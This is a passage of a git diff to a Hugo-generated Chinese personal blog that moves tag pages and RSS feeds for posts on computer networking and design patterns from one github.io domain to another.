stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>计算机网络</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>计算机网络学习笔记</h2></header><div class=entry-content><p>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
 计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等
 网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）
 计算机网络发展历史
@@ -60,7 +60,7 @@
 虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）
 网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作
 IP协议
-IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址...</p></div><footer class=entry-footer><span title='2022-11-01 12:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机网络学习笔记" href=https://xiaochenabc123.github.io/posts/156/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址...</p></div><footer class=entry-footer><span title='2022-11-01 12:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机网络学习笔记" href=https://chenjunlinabc.github.io/posts/156/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/index.xml" "b/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/index.xml"
index 98493480..2c228871 100644
--- "a/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/index.xml"
+++ "b/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>计算机网络 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/</link>
+    <link>https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/</link>
     <description>Recent content in 计算机网络 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 01 Nov 2022 12:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 01 Nov 2022 12:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>计算机网络学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/156/</link>
+      <link>https://chenjunlinabc.github.io/posts/156/</link>
       <pubDate>Tue, 01 Nov 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/156/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/156/</guid>
       <description>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
 计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等
 网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）
diff --git "a/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/page/1/index.html" "b/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/page/1/index.html"
index 0d8df37f..d065e25d 100644
--- "a/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/page/1/index.html"
+++ "b/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"></head></html>
\ No newline at end of file
diff --git "a/tags/\350\256\276\350\256\241\346\250\241\345\274\217/index.html" "b/tags/\350\256\276\350\256\241\346\250\241\345\274\217/index.html"
index 6cd25a92..f42ee6c9 100644
--- "a/tags/\350\256\276\350\256\241\346\250\241\345\274\217/index.html"
+++ "b/tags/\350\256\276\350\256\241\346\250\241\345\274\217/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>设计模式 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="设计模式"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="设计模式"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>设计模式</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解设计模式</h2></header><div class=entry-content><p>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>设计模式 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="设计模式"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="设计模式"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>设计模式</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解设计模式</h2></header><div class=entry-content><p>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
 面向过程：逻辑化过程，以逻辑实现
 面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化
 设计模式的好处就是通用可复用，跨语言
@@ -13,7 +13,7 @@
 创建型模式：对象实例化的模式，创建型模式用于解耦对象的实例化过程 单例模式 工厂模式 抽象工厂 建造者模式 原型模式
 创建型模式就是指创建对象，在创建对象时通过共同的接口来指向这个新创建的对象
 结构型模式：把类或对象结合在一起形成一个更大的结构 适配器模式 组合模式 装饰器模式 代理模式 享元模式 外观模式 桥接模式
-行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式</p></div><footer class=entry-footer><span title='2021-11-30 15:08:00 +0000 UTC'>2021-11-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解设计模式" href=https://xiaochenabc123.github.io/posts/121/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+行为型模式：类和对象如何交互，及划分责任和算法 迭代器模式 模板方法模式 策略模式 命令模式 状态模式 责任链模式 备忘录模式 观察者模式 访问者模式 中介者模式 解释器模式</p></div><footer class=entry-footer><span title='2021-11-30 15:08:00 +0000 UTC'>2021-11-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解设计模式" href=https://chenjunlinabc.github.io/posts/121/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/\350\256\276\350\256\241\346\250\241\345\274\217/index.xml" "b/tags/\350\256\276\350\256\241\346\250\241\345\274\217/index.xml"
index 5520aa85..7f136656 100644
--- "a/tags/\350\256\276\350\256\241\346\250\241\345\274\217/index.xml"
+++ "b/tags/\350\256\276\350\256\241\346\250\241\345\274\217/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>设计模式 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</link>
+    <link>https://chenjunlinabc.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</link>
     <description>Recent content in 设计模式 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 30 Nov 2021 15:08:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 30 Nov 2021 15:08:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单了解设计模式</title>
-      <link>https://xiaochenabc123.github.io/posts/121/</link>
+      <link>https://chenjunlinabc.github.io/posts/121/</link>
       <pubDate>Tue, 30 Nov 2021 15:08:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/121/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/121/</guid>
       <description>设计模式实质就是一套可以通用，复用的设计方案，设计模式是针对面向对象的，在面向对象出来之前，程序是面向过程的，设计模式就是软件设计的工具
 面向过程：逻辑化过程，以逻辑实现
 面向对象：思考有哪些对象，对象都有什么行为，行为的逻辑化
diff --git "a/tags/\350\256\276\350\256\241\346\250\241\345\274\217/page/1/index.html" "b/tags/\350\256\276\350\256\241\346\250\241\345\274\217/page/1/index.html"
index 375b8638..f6cb36b7 100644
--- "a/tags/\350\256\276\350\256\241\346\250\241\345\274\217/page/1/index.html"
+++ "b/tags/\350\256\276\350\256\241\346\250\241\345\274\217/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"></head></html>
\ No newline at end of file
diff --git "a/tags/\350\277\233\345\210\266\350\275\254\346\215\242/index.html" "b/tags/\350\277\233\345\210\266\350\275\254\346\215\242/index.html"
index eca91166..cde14c4a 100644
--- "a/tags/\350\277\233\345\210\266\350\275\254\346\215\242/index.html"
+++ "b/tags/\350\277\233\345\210\266\350\275\254\346\215\242/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>进制转换 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 